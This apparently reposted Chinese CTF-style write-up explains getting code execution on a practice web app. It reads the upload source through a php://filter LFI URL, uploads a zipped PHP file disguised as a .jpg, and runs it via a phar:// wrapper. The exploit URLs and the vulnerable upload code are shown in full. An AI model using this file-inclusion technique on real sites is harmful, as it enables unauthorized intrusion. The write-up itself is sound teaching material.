記一次簡單的GetShell案例


案例鏈接:

http://202.112.51.184:8007/

打開鏈接,發現分了多個頁面:

 

 

挨個點擊,大概清楚是上傳指定格式的文件然后在搜索的時候使文件執行從而GetShell,觀察發現點擊每個頁面后出現“?page=xxx"字樣,查看源代碼發現還有隱藏的php文件:

於是輸入:

http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=upload

得到一串base64編碼:

在線解密后得到網頁隱藏源碼:

 1 <html lang="zh-CN">
 2   <head>
 3     <meta charset="utf-8">
 4 <?php
 5 $error=$_FILES['pic']['error'];
 6 $tmpName=$_FILES['pic']['tmp_name'];
 7 $name=$_FILES['pic']['name'];
 8 $size=$_FILES['pic']['size'];
 9 $type=mime_content_type($tmpName);
10 try{
11     if($name!=="")
12     {
13         $name1=substr($name,-4);
14         if(($name1!==".gif") and ($name1!==".jpg") and ($name1!=='.zip'))
15         {
16             echo "hehe";
17             echo "<script language=javascript>alert('上傳照片只能是JPG或者GIF!');history.go(-1)</script>";
18             exit;
19         }
20         if($type!=="image/jpeg"&&$type!=="image/gif")
21         {
22             echo mime_content_type($tmpName);
23             echo "<script language=javascript>alert('上傳照片只能是JPG或者GIF!');history.go(-1)</script>";
24             exit;
25         }
26         if(is_uploaded_file($tmpName)){
27             $time=time();
28             $rootpath='uploads/'.$time.$name1;
29             if(!move_uploaded_file($tmpName,$rootpath)){
30             echo "<script language='JavaScript'>alert('文件移動失敗!');window.location='index.php?page=submit'</script>";
31             exit;
32         }
33     }
34     echo "圖片ID:".$time;
35     }
36 }
37 catch(Exception $e)
38 {
39     echo "ERROR";
40 }
41 //
42  ?>
43  </html>

從第十四行可以看出其實也支持ZIP文件,想到可以從這里下手

在本地建一個PHP文件,意在使網站對上傳文件解析后執行這段代碼,即打開phpinfo界面:

<?php phpinfo();?>

將其壓縮成ZIP文件后也可將格式改為jpg上傳,可以得到圖片ID:

然后記住圖片ID,在view頁搜索后跳轉出現以下頁面:

這時我們的PHP代碼已經執行,我們就可以輸入以下網址得到我們需要的phpinfo頁面,即GetShell了:

 

http://202.112.51.184:8007/index.php?page=phar://uploads/1533638442.jpg/2

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM